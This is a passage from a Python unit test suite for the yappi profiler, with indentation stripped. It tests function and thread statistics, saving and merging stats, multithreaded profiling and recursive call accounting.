stats = yappi.YFuncStats("tests/count_down_rec.profile")
fsrec = utils.find_stat_by_name(stats, 'count_down_rec')
self.assertEqual(fsrec.ncall, 9)
self.assertEqual(fsrec.nactualcall, 2)
def test_strip_dirs(self):
def a():
pass
stats = utils.run_and_get_func_stats(a, )
stats.strip_dirs()
fsa = utils.find_stat_by_name(stats, "a")
self.assertEqual(fsa.module, os.path.basename(fsa.module))
@unittest.skipIf(os.name == "nt", "do not run on Windows")
def test_run_as_script(self):
import re
p = subprocess.Popen(
['yappi', os.path.join('./tests', 'run_as_script.py')],
stdout=subprocess.PIPE
)
out, err = p.communicate()
self.assertEqual(p.returncode, 0)
func_stats, thread_stats = re.split(
b'name\\s+id\\s+tid\\s+ttot\\s+scnt\\s*\n', out
)
self.assertTrue(b'FancyThread' in thread_stats)
def test_yappi_overhead(self):
LOOP_COUNT = 100000
def a():
pass
def b():
for i in range(LOOP_COUNT):
a()
t0 = time.time()
yappi.start()
b()
yappi.stop()
time_with_yappi = time.time() - t0
t0 = time.time()
b()
time_without_yappi = time.time() - t0
if time_without_yappi == 0:
time_without_yappi = 0.000001
# in latest v0.82, I calculated this as close to "7.0" in my machine.
# however, %83 of this overhead is coming from tickcount(). The other %17
# seems to have been evenly distributed to the internal bookkeeping
# structures/algorithms which seems acceptable. Note that our test only
# tests one function being profiled at-a-time in a short interval.
# profiling high number of functions in a small time
# is a different beast, (which is pretty unlikely in most applications)
# So as a conclusion: I cannot see any optimization window for Yappi that
# is worth implementing as we will only optimize %17 of the time.
sys.stderr.write("\r\nYappi puts %0.1f times overhead to the profiled application in average.\r\n" % \
(time_with_yappi / time_without_yappi))
def test_clear_stats_while_running(self):
def a():
pass
yappi.start()
a()
yappi.clear_stats()
a()
stats = yappi.get_func_stats()
fsa = utils.find_stat_by_name(stats, 'a')
self.assertEqual(fsa.ncall, 1)
def test_generator(self):
def _gen(n):
while (n > 0):
yield n
n -= 1
yappi.start()
for x in _gen(5):
pass
self.assertTrue(
yappi.convert2pstats(yappi.get_func_stats()) is not None
)
def test_slice_child_stats_and_strip_dirs(self):
def b():
for i in range(10000000):
pass
def a():
b()
yappi.start(builtins=True)
a()
stats = yappi.get_func_stats()
fsa = utils.find_stat_by_name(stats, 'a')
fsb = utils.find_stat_by_name(stats, 'b')
self.assertTrue(fsa.children[0:1] is not None)
prev_afullname = fsa.full_name
prev_bchildfullname = fsa.children[fsb].full_name
stats.strip_dirs()
self.assertTrue(len(prev_afullname) > len(fsa.full_name))
self.assertTrue(
len(prev_bchildfullname) > len(fsa.children[fsb].full_name)
)
def test_children_stat_functions(self):
_timings = {"a_1": 5, "b_1": 3, "c_1": 1}
_yappi._set_test_timings(_timings)
def b():
pass
def c():
pass
def a():
b()
c()
yappi.start()
a()
b() # non-child call
c() # non-child call
stats = yappi.get_func_stats()
fsa = utils.find_stat_by_name(stats, 'a')
childs_of_a = fsa.children.get().sort("tavg", "desc")
prev_item = None
for item in childs_of_a:
if prev_item:
self.assertTrue(prev_item.tavg > item.tavg)
prev_item = item
childs_of_a.sort("name", "desc")
prev_item = None
for item in childs_of_a:
if prev_item:
self.assertTrue(prev_item.name > item.name)
prev_item = item
childs_of_a.clear()
self.assertTrue(childs_of_a.empty())
def test_no_stats_different_clock_type_load(self):
def a():
pass
yappi.start()
a()
yappi.stop()
yappi.get_func_stats().save("tests/ystats1.ys")
yappi.clear_stats()
yappi.set_clock_type("WALL")
yappi.start()
yappi.stop()
stats = yappi.get_func_stats().add("tests/ystats1.ys")
fsa = utils.find_stat_by_name(stats, 'a')
self.assertTrue(fsa is not None)
def test_subsequent_profile(self):
_timings = {"a_1": 1, "b_1": 1}
_yappi._set_test_timings(_timings)
def a():
pass
def b():
pass
yappi.start()
a()
yappi.stop()
yappi.start()
b()
yappi.stop()
stats = yappi.get_func_stats()
fsa = utils.find_stat_by_name(stats, 'a')
fsb = utils.find_stat_by_name(stats, 'b')
self.assertTrue(fsa is not None)
self.assertTrue(fsb is not None)
self.assertEqual(fsa.ttot, 1)
self.assertEqual(fsb.ttot, 1)
def test_lambda(self):
f = lambda: time.sleep(0.3)
yappi.set_clock_type("wall")
yappi.start()
f()
stats = yappi.get_func_stats()
fsa = utils.find_stat_by_name(stats, '<lambda>')
self.assertTrue(fsa.ttot > 0.1)
def test_module_stress(self):
self.assertEqual(yappi.is_running(), False)
yappi.start()
yappi.clear_stats()
self.assertRaises(_yappi.error, yappi.set_clock_type, "wall")
yappi.stop()
yappi.clear_stats()
yappi.set_clock_type("cpu")
self.assertRaises(yappi.YappiError, yappi.set_clock_type, "dummy")
self.assertEqual(yappi.is_running(), False)
yappi.clear_stats()
yappi.clear_stats()
def test_stat_sorting(self):
_timings = {"a_1": 13, "b_1": 10, "a_2": 6, "b_2": 1}
_yappi._set_test_timings(_timings)
self._ncall = 1
def a():
b()
def b():
if self._ncall == 2:
return
self._ncall += 1
a()
stats = utils.run_and_get_func_stats(a)
stats = stats.sort("totaltime", "desc")
prev_stat = None
for stat in stats:
if prev_stat:
self.assertTrue(prev_stat.ttot >= stat.ttot)
prev_stat = stat
stats = stats.sort("totaltime", "asc")
prev_stat = None
for stat in stats:
if prev_stat:
self.assertTrue(prev_stat.ttot <= stat.ttot)
prev_stat = stat
stats = stats.sort("avgtime", "asc")
prev_stat = None
for stat in stats:
if prev_stat:
self.assertTrue(prev_stat.tavg <= stat.tavg)
prev_stat = stat
stats = stats.sort("name", "asc")
prev_stat = None
for stat in stats:
if prev_stat:
self.assertTrue(prev_stat.name <= stat.name)
prev_stat = stat
stats = stats.sort("subtime", "asc")
prev_stat = None
for stat in stats:
if prev_stat:
self.assertTrue(prev_stat.tsub <= stat.tsub)
prev_stat = stat
self.assertRaises(
yappi.YappiError, stats.sort, "invalid_func_sorttype_arg"
)
self.assertRaises(
yappi.YappiError, stats.sort, "totaltime",
"invalid_func_sortorder_arg"
)
def test_start_flags(self):
self.assertEqual(_yappi._get_start_flags(), None)
yappi.start()
def a():
pass
a()
self.assertEqual(_yappi._get_start_flags()["profile_builtins"], 0)
self.assertEqual(_yappi._get_start_flags()["profile_multicontext"], 1)
self.assertEqual(len(yappi.get_thread_stats()), 1)
def test_builtin_profiling(self):
def a():
time.sleep(0.4) # is a builtin function
yappi.set_clock_type('wall')
yappi.start(builtins=True)
a()
stats = yappi.get_func_stats()
fsa = utils.find_stat_by_name(stats, 'sleep')
self.assertTrue(fsa is not None)
self.assertTrue(fsa.ttot > 0.3)
yappi.stop()
yappi.clear_stats()
def a():
pass
yappi.start()
t = threading.Thread(target=a)
t.start()
t.join()
stats = yappi.get_func_stats()
def test_singlethread_profiling(self):
yappi.set_clock_type('wall')
def a():
time.sleep(0.2)
class Worker1(threading.Thread):
def a(self):
time.sleep(0.3)
def run(self):
self.a()
yappi.start(profile_threads=False)
c = Worker1()
c.start()
c.join()
a()
stats = yappi.get_func_stats()
fsa1 = utils.find_stat_by_name(stats, 'Worker1.a')
fsa2 = utils.find_stat_by_name(stats, 'a')
self.assertTrue(fsa1 is None)
self.assertTrue(fsa2 is not None)
self.assertTrue(fsa2.ttot > 0.1)
def test_run(self):
def profiled():
pass
yappi.clear_stats()
try:
with yappi.run():
profiled()
stats = yappi.get_func_stats()
finally:
yappi.clear_stats()
self.assertIsNotNone(utils.find_stat_by_name(stats, 'profiled'))
def test_run_recursive(self):
def profiled():
pass
def not_profiled():
pass
yappi.clear_stats()
try:
with yappi.run():
with yappi.run():
profiled()
# Profiling stopped here
not_profiled()
stats = yappi.get_func_stats()
finally:
yappi.clear_stats()
self.assertIsNotNone(utils.find_stat_by_name(stats, 'profiled'))
self.assertIsNone(utils.find_stat_by_name(stats, 'not_profiled'))
class StatSaveScenarios(utils.YappiUnitTestCase):
def test_pstats_conversion(self):
def pstat_id(fs):
return (fs.module, fs.lineno, fs.name)
def a():
d()
def b():
d()
def c():
pass
def d():
pass
_timings = {"a_1": 12, "b_1": 7, "c_1": 5, "d_1": 2}
_yappi._set_test_timings(_timings)
stats = utils.run_and_get_func_stats(a, )
stats.strip_dirs()
stats.save("tests/a1.pstats", type="pstat")
fsa_pid = pstat_id(utils.find_stat_by_name(stats, "a"))
fsd_pid = pstat_id(utils.find_stat_by_name(stats, "d"))
yappi.clear_stats()
_yappi._set_test_timings(_timings)
stats = utils.run_and_get_func_stats(a, )
stats.strip_dirs()
stats.save("tests/a2.pstats", type="pstat")
yappi.clear_stats()
_yappi._set_test_timings(_timings)
stats = utils.run_and_get_func_stats(b, )
stats.strip_dirs()
stats.save("tests/b1.pstats", type="pstat")
fsb_pid = pstat_id(utils.find_stat_by_name(stats, "b"))
yappi.clear_stats()
_yappi._set_test_timings(_timings)
stats = utils.run_and_get_func_stats(c, )
stats.strip_dirs()
stats.save("tests/c1.pstats", type="pstat")
fsc_pid = pstat_id(utils.find_stat_by_name(stats, "c"))
# merge saved stats and check pstats values are correct
import pstats
p = pstats.Stats(
'tests/a1.pstats', 'tests/a2.pstats', 'tests/b1.pstats',
'tests/c1.pstats'
)
p.strip_dirs()
# ct = ttot, tt = tsub
(cc, nc, tt, ct, callers) = p.stats[fsa_pid]
self.assertEqual(cc, nc, 2)
self.assertEqual(tt, 20)
self.assertEqual(ct, 24)
(cc, nc, tt, ct, callers) = p.stats[fsd_pid]
self.assertEqual(cc, nc, 3)
self.assertEqual(tt, 6)
self.assertEqual(ct, 6)
self.assertEqual(len(callers), 2)
(cc, nc, tt, ct) = callers[fsa_pid]
self.assertEqual(cc, nc, 2)
self.assertEqual(tt, 4)
self.assertEqual(ct, 4)
(cc, nc, tt, ct) = callers[fsb_pid]
self.assertEqual(cc, nc, 1)
self.assertEqual(tt, 2)
self.assertEqual(ct, 2)
def test_merge_stats(self):
_timings = {
"a_1": 15,
"b_1": 14,
"c_1": 12,
"d_1": 10,
"e_1": 9,
"f_1": 7,
"g_1": 6,
"h_1": 5,
"i_1": 1
}
_yappi._set_test_timings(_timings)
def a():
b()
def b():
c()
def c():
d()
def d():
e()
def e():
f()
def f():
g()
def g():
h()
def h():
i()
def i():
pass
yappi.start()
a()
a()
yappi.stop()
stats = yappi.get_func_stats()
self.assertRaises(
NotImplementedError, stats.save, "", "INVALID_SAVE_TYPE"
)
stats.save("tests/ystats2.ys")
yappi.clear_stats()
_yappi._set_test_timings(_timings)
yappi.start()
a()
stats = yappi.get_func_stats().add("tests/ystats2.ys")
fsa = utils.find_stat_by_name(stats, "a")
fsb = utils.find_stat_by_name(stats, "b")
fsc = utils.find_stat_by_name(stats, "c")
fsd = utils.find_stat_by_name(stats, "d")
fse = utils.find_stat_by_name(stats, "e")
fsf = utils.find_stat_by_name(stats, "f")
fsg = utils.find_stat_by_name(stats, "g")
fsh = utils.find_stat_by_name(stats, "h")
fsi = utils.find_stat_by_name(stats, "i")
self.assertEqual(fsa.ttot, 45)
self.assertEqual(fsa.ncall, 3)
self.assertEqual(fsa.nactualcall, 3)
self.assertEqual(fsa.tsub, 3)
self.assertEqual(fsa.children[fsb].ttot, fsb.ttot)
self.assertEqual(fsa.children[fsb].tsub, fsb.tsub)
self.assertEqual(fsb.children[fsc].ttot, fsc.ttot)
self.assertEqual(fsb.children[fsc].tsub, fsc.tsub)
self.assertEqual(fsc.tsub, 6)
self.assertEqual(fsc.children[fsd].ttot, fsd.ttot)
self.assertEqual(fsc.children[fsd].tsub, fsd.tsub)
self.assertEqual(fsd.children[fse].ttot, fse.ttot)
self.assertEqual(fsd.children[fse].tsub, fse.tsub)
self.assertEqual(fse.children[fsf].ttot, fsf.ttot)
self.assertEqual(fse.children[fsf].tsub, fsf.tsub)
self.assertEqual(fsf.children[fsg].ttot, fsg.ttot)
self.assertEqual(fsf.children[fsg].tsub, fsg.tsub)
self.assertEqual(fsg.ttot, 18)
self.assertEqual(fsg.tsub, 3)
self.assertEqual(fsg.children[fsh].ttot, fsh.ttot)
self.assertEqual(fsg.children[fsh].tsub, fsh.tsub)
self.assertEqual(fsh.ttot, 15)
self.assertEqual(fsh.tsub, 12)
self.assertEqual(fsh.tavg, 5)
self.assertEqual(fsh.children[fsi].ttot, fsi.ttot)
self.assertEqual(fsh.children[fsi].tsub, fsi.tsub)
#stats.debug_print()
def test_merge_multithreaded_stats(self):
import _yappi
timings = {"a_1": 2, "b_1": 1}
_yappi._set_test_timings(timings)
def a():
pass
def b():
pass
yappi.start()
t = threading.Thread(target=a)
t.start()
t.join()
t = threading.Thread(target=b)
t.start()
t.join()
yappi.get_func_stats().save("tests/ystats1.ys")
yappi.clear_stats()
_yappi._set_test_timings(timings)
self.assertEqual(len(yappi.get_func_stats()), 0)
self.assertEqual(len(yappi.get_thread_stats()), 1)
t = threading.Thread(target=a)
t.start()
t.join()
self.assertEqual(_yappi._get_start_flags()["profile_builtins"], 0)
self.assertEqual(_yappi._get_start_flags()["profile_multicontext"], 1)
yappi.get_func_stats().save("tests/ystats2.ys")
stats = yappi.YFuncStats([
"tests/ystats1.ys",
"tests/ystats2.ys",
])
fsa = utils.find_stat_by_name(stats, "a")
fsb = utils.find_stat_by_name(stats, "b")
self.assertEqual(fsa.ncall, 2)
self.assertEqual(fsb.ncall, 1)
self.assertEqual(fsa.tsub, fsa.ttot, 4)
self.assertEqual(fsb.tsub, fsb.ttot, 1)
def test_merge_load_different_clock_types(self):
yappi.start(builtins=True)
def a():
b()
def b():
c()
def c():
pass
t = threading.Thread(target=a)
t.start()
t.join()
yappi.get_func_stats().sort("name", "asc").save("tests/ystats1.ys")
yappi.stop()
yappi.clear_stats()
yappi.start(builtins=False)
t = threading.Thread(target=a)
t.start()
t.join()
yappi.get_func_stats().save("tests/ystats2.ys")
yappi.stop()
self.assertRaises(_yappi.error, yappi.set_clock_type, "wall")
yappi.clear_stats()
yappi.set_clock_type("wall")
yappi.start()
t = threading.Thread(target=a)
t.start()
t.join()
yappi.get_func_stats().save("tests/ystats3.ys")
self.assertRaises(
yappi.YappiError,
yappi.YFuncStats().add("tests/ystats1.ys").add, "tests/ystats3.ys"
)
stats = yappi.YFuncStats(["tests/ystats1.ys",
"tests/ystats2.ys"]).sort("name")
fsa = utils.find_stat_by_name(stats, "a")
fsb = utils.find_stat_by_name(stats, "b")
fsc = utils.find_stat_by_name(stats, "c")
self.assertEqual(fsa.ncall, 2)
self.assertEqual(fsa.ncall, fsb.ncall, fsc.ncall)
def test_merge_aabab_aabbc(self):
_timings = {
"a_1": 15,
"a_2": 14,
"b_1": 12,
"a_3": 10,
"b_2": 9,
"c_1": 4
}
_yappi._set_test_timings(_timings)
def a():
if self._ncall == 1:
self._ncall += 1
a()
elif self._ncall == 5:
self._ncall += 1
a()
else:
b()
def b():
if self._ncall == 2:
self._ncall += 1
a()
elif self._ncall == 6:
self._ncall += 1
b()
elif self._ncall == 7:
c()
else:
return
def c():
pass
self._ncall = 1
stats = utils.run_and_get_func_stats(a, )
stats.save("tests/ystats1.ys")
yappi.clear_stats()
_yappi._set_test_timings(_timings)
#stats.print_all()
self._ncall = 5
stats = utils.run_and_get_func_stats(a, )
stats.save("tests/ystats2.ys")
#stats.print_all()
def a(): # same name but another function(code object)
pass
yappi.start()
a()
stats = yappi.get_func_stats().add(
["tests/ystats1.ys", "tests/ystats2.ys"]
)
#stats.print_all()
self.assertEqual(len(stats), 4)
fsa = None
for stat in stats:
if stat.name == "a" and stat.ttot == 45:
fsa = stat
break
self.assertTrue(fsa is not None)
self.assertEqual(fsa.ncall, 7)
self.assertEqual(fsa.nactualcall, 3)
self.assertEqual(fsa.ttot, 45)
self.assertEqual(fsa.tsub, 10)
fsb = utils.find_stat_by_name(stats, "b")
fsc = utils.find_stat_by_name(stats, "c")
self.assertEqual(fsb.ncall, 6)
self.assertEqual(fsb.nactualcall, 3)
self.assertEqual(fsb.ttot, 36)
self.assertEqual(fsb.tsub, 27)
self.assertEqual(fsb.tavg, 6)
self.assertEqual(fsc.ttot, 8)
self.assertEqual(fsc.tsub, 8)
self.assertEqual(fsc.tavg, 4)
self.assertEqual(fsc.nactualcall, fsc.ncall, 2)
class MultithreadedScenarios(utils.YappiUnitTestCase):
def test_issue_32(self):
'''
Start yappi from different thread and we get Internal Error(15) as
the current_ctx_id() called while enumerating the threads in start()
and as it does not swap to the enumerated ThreadState* the THreadState_GetDict()
returns wrong object and thus sets an invalid id for the _ctx structure.
When this issue happens multiple Threads have same tid as the internal ts_ptr
will be same for different contexts. So, let's see if that happens
'''
def foo():
time.sleep(0.2)
def bar():
time.sleep(0.1)
def thread_func():
yappi.set_clock_type("wall")
yappi.start()
bar()
t = threading.Thread(target=thread_func)
t.start()
t.join()
foo()
yappi.stop()
thread_ids = set()
for tstat in yappi.get_thread_stats():
self.assertTrue(tstat.tid not in thread_ids)
thread_ids.add(tstat.tid)
def test_subsequent_profile(self):
WORKER_COUNT = 5
def a():
pass
def b():
pass
def c():
pass
_timings = {
"a_1": 3,
"b_1": 2,
"c_1": 1,
}
yappi.start()
def g():
pass
g()
yappi.stop()
yappi.clear_stats()
_yappi._set_test_timings(_timings)
yappi.start()
_dummy = []
for i in range(WORKER_COUNT):
t = threading.Thread(target=a)
t.start()
t.join()
for i in range(WORKER_COUNT):
t = threading.Thread(target=b)
t.start()
_dummy.append(t)
t.join()
for i in range(WORKER_COUNT):
t = threading.Thread(target=a)
t.start()
t.join()
for i in range(WORKER_COUNT):
t = threading.Thread(target=c)
t.start()
t.join()
yappi.stop()
yappi.start()
def f():
pass
f()
stats = yappi.get_func_stats()
fsa = utils.find_stat_by_name(stats, 'a')
fsb = utils.find_stat_by_name(stats, 'b')
fsc = utils.find_stat_by_name(stats, 'c')
self.assertEqual(fsa.ncall, 10)
self.assertEqual(fsb.ncall, 5)
self.assertEqual(fsc.ncall, 5)
self.assertEqual(fsa.ttot, fsa.tsub, 30)
self.assertEqual(fsb.ttot, fsb.tsub, 10)
self.assertEqual(fsc.ttot, fsc.tsub, 5)
# MACOSx optimizes by only creating one worker thread
self.assertTrue(len(yappi.get_thread_stats()) >= 2)
def test_basic(self):
yappi.set_clock_type('wall')
def dummy():
pass
def a():
time.sleep(0.2)
class Worker1(threading.Thread):
def a(self):
time.sleep(0.3)
def run(self):
self.a()
yappi.start(builtins=False, profile_threads=True)
c = Worker1()
c.start()
c.join()
a()
stats = yappi.get_func_stats()
fsa1 = utils.find_stat_by_name(stats, 'Worker1.a')
fsa2 = utils.find_stat_by_name(stats, 'a')
self.assertTrue(fsa1 is not None)
self.assertTrue(fsa2 is not None)
self.assertTrue(fsa1.ttot > 0.2)
self.assertTrue(fsa2.ttot > 0.1)
tstats = yappi.get_thread_stats()
self.assertEqual(len(tstats), 2)
tsa = utils.find_stat_by_name(tstats, 'Worker1')
tsm = utils.find_stat_by_name(tstats, '_MainThread')
dummy() # call dummy to force ctx name to be retrieved again.
self.assertTrue(tsa is not None)
# TODO: I put dummy() to fix below, remove the comments after a while.
self.assertTrue( # FIX: I see this fails sometimes?
tsm is not None,
'Could not find "_MainThread". Found: %s' % (', '.join(utils.get_stat_names(tstats))))
def test_ctx_stats(self):
from threading import Thread
DUMMY_WORKER_COUNT = 5
yappi.start()
class DummyThread(Thread):
pass
def dummy():
pass
def dummy_worker():
pass
for i in range(DUMMY_WORKER_COUNT):
t = DummyThread(target=dummy_worker)
t.start()
t.join()
yappi.stop()
stats = yappi.get_thread_stats()
tsa = utils.find_stat_by_name(stats, "DummyThread")
self.assertTrue(tsa is not None)
yappi.clear_stats()
time.sleep(1.0)
_timings = {
"a_1": 6,
"b_1": 5,
"c_1": 3,
"d_1": 1,
"a_2": 4,
"b_2": 3,
"c_2": 2,
"d_2": 1
}
_yappi._set_test_timings(_timings)
class Thread1(Thread):
pass
class Thread2(Thread):
pass
def a():
b()
def b():
c()
def c():
d()
def d():
time.sleep(0.6)
yappi.set_clock_type("wall")
yappi.start()
t1 = Thread1(target=a)
t1.start()
t2 = Thread2(target=a)
t2.start()
t1.join()
t2.join()
stats = yappi.get_thread_stats()
# the fist clear_stats clears the context table?
tsa = utils.find_stat_by_name(stats, "DummyThread")
self.assertTrue(tsa is None)
tst1 = utils.find_stat_by_name(stats, "Thread1")
tst2 = utils.find_stat_by_name(stats, "Thread2")
tsmain = utils.find_stat_by_name(stats, "_MainThread")
dummy() # call dummy to force ctx name to be retrieved again.
self.assertTrue(len(stats) == 3)
self.assertTrue(tst1 is not None)
self.assertTrue(tst2 is not None)
# TODO: I put dummy() to fix below, remove the comments after a while.
self.assertTrue( # FIX: I see this fails sometimes
tsmain is not None,
'Could not find "_MainThread". Found: %s' % (', '.join(utils.get_stat_names(stats))))
self.assertTrue(1.0 > tst2.ttot >= 0.5)
self.assertTrue(1.0 > tst1.ttot >= 0.5)
# test sorting of the ctx stats
stats = stats.sort("totaltime", "desc")
prev_stat = None
for stat in stats:
if prev_stat:
self.assertTrue(prev_stat.ttot >= stat.ttot)
prev_stat = stat
stats = stats.sort("totaltime", "asc")
prev_stat = None
for stat in stats:
if prev_stat:
self.assertTrue(prev_stat.ttot <= stat.ttot)
prev_stat = stat
stats = stats.sort("schedcount", "desc")
prev_stat = None
for stat in stats:
if prev_stat:
self.assertTrue(prev_stat.sched_count >= stat.sched_count)
prev_stat = stat
stats = stats.sort("name", "desc")
prev_stat = None
for stat in stats:
if prev_stat:
self.assertTrue(prev_stat.name.lower() >= stat.name.lower())
prev_stat = stat
self.assertRaises(
yappi.YappiError, stats.sort, "invalid_thread_sorttype_arg"
)
self.assertRaises(
yappi.YappiError, stats.sort, "invalid_thread_sortorder_arg"
)
def test_ctx_stats_cpu(self):
def get_thread_name():
try:
return threading.current_thread().name
except AttributeError:
return "Anonymous"
def burn_cpu(sec):
t0 = yappi.get_clock_time()
elapsed = 0
while (elapsed < sec):
for _ in range(1000):
pass
elapsed = yappi.get_clock_time() - t0
def test():
ts = []
for i in (0.01, 0.05, 0.1):
t = threading.Thread(target=burn_cpu, args=(i, ))
t.name = "burn_cpu-%s" % str(i)
t.start()
ts.append(t)
for t in ts:
t.join()
yappi.set_clock_type("cpu")
yappi.set_context_name_callback(get_thread_name)
yappi.start()
test()
yappi.stop()
tstats = yappi.get_thread_stats()
r1 = '''
burn_cpu-0.1 3 123145356058624 0.100105 8
burn_cpu-0.05 2 123145361313792 0.050149 8
burn_cpu-0.01 1 123145356058624 0.010127 2
MainThread 0 4321620864 0.001632 6
'''
self.assert_ctx_stats_almost_equal(r1, tstats)
def test_producer_consumer_with_queues(self):
# we currently just stress yappi, no functionality test is done here.
yappi.start()
if utils.is_py3x():
from queue import Queue
else:
from Queue import Queue
from threading import Thread
WORKER_THREAD_COUNT = 50
WORK_ITEM_COUNT = 2000
def worker():
while True:
item = q.get()
# do the work with item
q.task_done()
q = Queue()
for i in range(WORKER_THREAD_COUNT):
t = Thread(target=worker)
t.daemon = True
t.start()
for item in range(WORK_ITEM_COUNT):
q.put(item)
q.join() # block until all tasks are done
#yappi.get_func_stats().sort("callcount").print_all()
yappi.stop()
def test_temporary_lock_waiting(self):
yappi.start()
_lock = threading.Lock()
def worker():
_lock.acquire()
try:
time.sleep(1.0)
finally:
_lock.release()
t1 = threading.Thread(target=worker)
t2 = threading.Thread(target=worker)
t1.start()
t2.start()
t1.join()
t2.join()
#yappi.get_func_stats().sort("callcount").print_all()
yappi.stop()
@unittest.skipIf(os.name != "posix", "requires Posix compliant OS")
def test_signals_with_blocking_calls(self):
import signal, os, time
# just to verify if signal is handled correctly and stats/yappi are not corrupted.
def handler(signum, frame):
raise Exception("Signal handler executed!")
yappi.start()
signal.signal(signal.SIGALRM, handler)
signal.alarm(1)
self.assertRaises(Exception, time.sleep, 2)
stats = yappi.get_func_stats()
fsh = utils.find_stat_by_name(stats, "handler")
self.assertTrue(fsh is not None)
@unittest.skipIf(not sys.version_info >= (3, 2), "requires Python 3.2")
def test_concurrent_futures(self):
yappi.start()
from concurrent.futures import ThreadPoolExecutor
with ThreadPoolExecutor(max_workers=5) as executor:
f = executor.submit(pow, 5, 2)
self.assertEqual(f.result(), 25)
time.sleep(1.0)
yappi.stop()
@unittest.skipIf(not sys.version_info >= (3, 2), "requires Python 3.2")
def test_barrier(self):
yappi.start()
b = threading.Barrier(2, timeout=1)
def worker():
try:
b.wait()
except threading.BrokenBarrierError:
pass
except Exception:
raise Exception("BrokenBarrierError not raised")
t1 = threading.Thread(target=worker)
t1.start()
#b.wait()
t1.join()
yappi.stop()
class NonRecursiveFunctions(utils.YappiUnitTestCase):
def test_abcd(self):
_timings = {"a_1": 6, "b_1": 5, "c_1": 3, "d_1": 1}
_yappi._set_test_timings(_timings)
def a():
b()
def b():
c()
def c():
d()
def d():
pass
stats = utils.run_and_get_func_stats(a)
fsa = utils.find_stat_by_name(stats, 'a')
fsb = utils.find_stat_by_name(stats, 'b')
fsc = utils.find_stat_by_name(stats, 'c')
fsd = utils.find_stat_by_name(stats, 'd')
cfsab = fsa.children[fsb]
cfsbc = fsb.children[fsc]
cfscd = fsc.children[fsd]
self.assertEqual(fsa.ttot, 6)
self.assertEqual(fsa.tsub, 1)
self.assertEqual(fsb.ttot, 5)
self.assertEqual(fsb.tsub, 2)
self.assertEqual(fsc.ttot, 3)
self.assertEqual(fsc.tsub, 2)
self.assertEqual(fsd.ttot, 1)
self.assertEqual(fsd.tsub, 1)
self.assertEqual(cfsab.ttot, 5)
self.assertEqual(cfsab.tsub, 2)
self.assertEqual(cfsbc.ttot, 3)
self.assertEqual(cfsbc.tsub, 2)
self.assertEqual(cfscd.ttot, 1)
self.assertEqual(cfscd.tsub, 1)
def test_stop_in_middle(self):
_timings = {"a_1": 6, "b_1": 4}
_yappi._set_test_timings(_timings)
def a():
b()
yappi.stop()
def b():
time.sleep(0.2)
yappi.start()
a()
stats = yappi.get_func_stats()
fsa = utils.find_stat_by_name(stats, 'a')
fsb = utils.find_stat_by_name(stats, 'b')
self.assertEqual(fsa.ncall, 1)
self.assertEqual(fsa.nactualcall, 0)
self.assertEqual(fsa.ttot, 0) # no call_leave called
self.assertEqual(fsa.tsub, 0) # no call_leave called
self.assertEqual(fsb.ttot, 4)
class RecursiveFunctions(utils.YappiUnitTestCase):
def test_fibonacci(self):
def fib(n):
if n > 1:
return fib(n - 1) + fib(n - 2)
else:
return n
stats = utils.run_and_get_func_stats(fib, 22)
fs = utils.find_stat_by_name(stats, 'fib')
self.assertEqual(fs.ncall, 57313)
self.assertEqual(fs.ttot, fs.tsub)
def test_abcadc(self):
_timings = {
"a_1": 20,
"b_1": 19,
"c_1": 17,
"a_2": 13,
"d_1": 12,
"c_2": 10,
"a_3": 5
}
_yappi._set_test_timings(_timings)
def a(n):
if n == 3:
return
if n == 1 + 1:
d(n)
else:
b(n)
def b(n):
c(n)
def c(n):
a(n + 1)
def d(n):
c(n)
stats = utils.run_and_get_func_stats(a, 1)
fsa = utils.find_stat_by_name(stats, 'a')
fsb = utils.find_stat_by_name(stats, 'b')
fsc = utils.find_stat_by_name(stats, 'c')
fsd = utils.find_stat_by_name(stats, 'd')
self.assertEqual(fsa.ncall, 3)
self.assertEqual(fsa.nactualcall, 1)
self.assertEqual(fsa.ttot, 20)
self.assertEqual(fsa.tsub, 7)
self.assertEqual(fsb.ttot, 19)
self.assertEqual(fsb.tsub, 2)
self.assertEqual(fsc.ttot, 17)
self.assertEqual(fsc.tsub, 9)
self.assertEqual(fsd.ttot, 12)
self.assertEqual(fsd.tsub, 2)
cfsca = fsc.children[fsa]
self.assertEqual(cfsca.nactualcall, 0)
self.assertEqual(cfsca.ncall, 2)
self.assertEqual(cfsca.ttot, 13)
self.assertEqual(cfsca.tsub, 6)
def test_aaaa(self):
_timings = {"d_1": 9, "d_2": 7, "d_3": 3, "d_4": 2}
_yappi._set_test_timings(_timings)
def d(n):
if n == 3:
return
d(n + 1)
stats = utils.run_and_get_func_stats(d, 0)
fsd = utils.find_stat_by_name(stats, 'd')
self.assertEqual(fsd.ncall, 4)
self.assertEqual(fsd.nactualcall, 1)
self.assertEqual(fsd.ttot, 9)
self.assertEqual(fsd.tsub, 9)
cfsdd = fsd.children[fsd]
self.assertEqual(cfsdd.ttot, 7)
self.assertEqual(cfsdd.tsub, 7)
self.assertEqual(cfsdd.ncall, 3)
self.assertEqual(cfsdd.nactualcall, 0)
def test_abcabc(self):
_timings = {
"a_1": 20,
"b_1": 19,
"c_1": 17,
"a_2": 13,
"b_2": 11,
"c_2": 9,
"a_3": 6
}
_yappi._set_test_timings(_timings)
def a(n):
if n == 3:
return
else:
b(n)
def b(n):
c(n)
def c(n):
a(n + 1)
stats = utils.run_and_get_func_stats(a, 1)
fsa = utils.find_stat_by_name(stats, 'a')
fsb = utils.find_stat_by_name(stats, 'b')
fsc = utils.find_stat_by_name(stats, 'c')
self.assertEqual(fsa.ncall, 3)
self.assertEqual(fsa.nactualcall, 1)
self.assertEqual(fsa.ttot, 20)
self.assertEqual(fsa.tsub, 9)
self.assertEqual(fsb.ttot, 19)
self.assertEqual(fsb.tsub, 4)
self.assertEqual(fsc.ttot, 17)
self.assertEqual(fsc.tsub, 7)
cfsab = fsa.children[fsb]
cfsbc = fsb.children[fsc]
cfsca = fsc.children[fsa]
self.assertEqual(cfsab.ttot, 19)
self.assertEqual(cfsab.tsub, 4)
self.assertEqual(cfsbc.ttot, 17)
self.assertEqual(cfsbc.tsub, 7)
self.assertEqual(cfsca.ttot, 13)
self.assertEqual(cfsca.tsub, 8)
def test_abcbca(self):
_timings = {"a_1": 10, "b_1": 9, "c_1": 7, "b_2": 4, "c_2": 2, "a_2": 1}
_yappi._set_test_timings(_timings)
self._ncall = 1
def a():
if self._ncall == 1:
b()
else:
return
def b():
c()
def c():
if self._ncall == 1:
self._ncall += 1
b()
else:
a()
stats = utils.run_and_get_func_stats(a)
fsa = utils.find_stat_by_name(stats, 'a')
